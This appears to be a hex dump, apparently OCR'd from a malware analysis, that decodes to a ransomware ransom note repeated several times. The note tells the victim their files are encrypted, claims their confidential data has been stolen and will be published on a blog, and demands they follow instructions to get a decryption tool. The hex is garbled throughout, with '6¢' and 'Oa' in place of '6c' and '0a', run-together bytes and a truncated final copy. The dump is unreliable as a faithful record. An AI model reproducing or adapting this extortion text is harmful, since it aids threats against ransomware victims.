69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072 65 61 64 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 7572
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d 0a 0d 0a
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1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6¢ 65 73 20 61 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d 0a 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
6420 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 75 72
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d Oa 0d 0a

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6c 6573 2061 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d Oa 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
64 20 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072 65 61 64 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 7572
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d 0a 0d 0a
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1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6¢ 65 73 20 61 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d 0a 57
65 20 68 61 76 65 20 64
6f 77 6e 6c 6f 61 64 65
64 20 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 7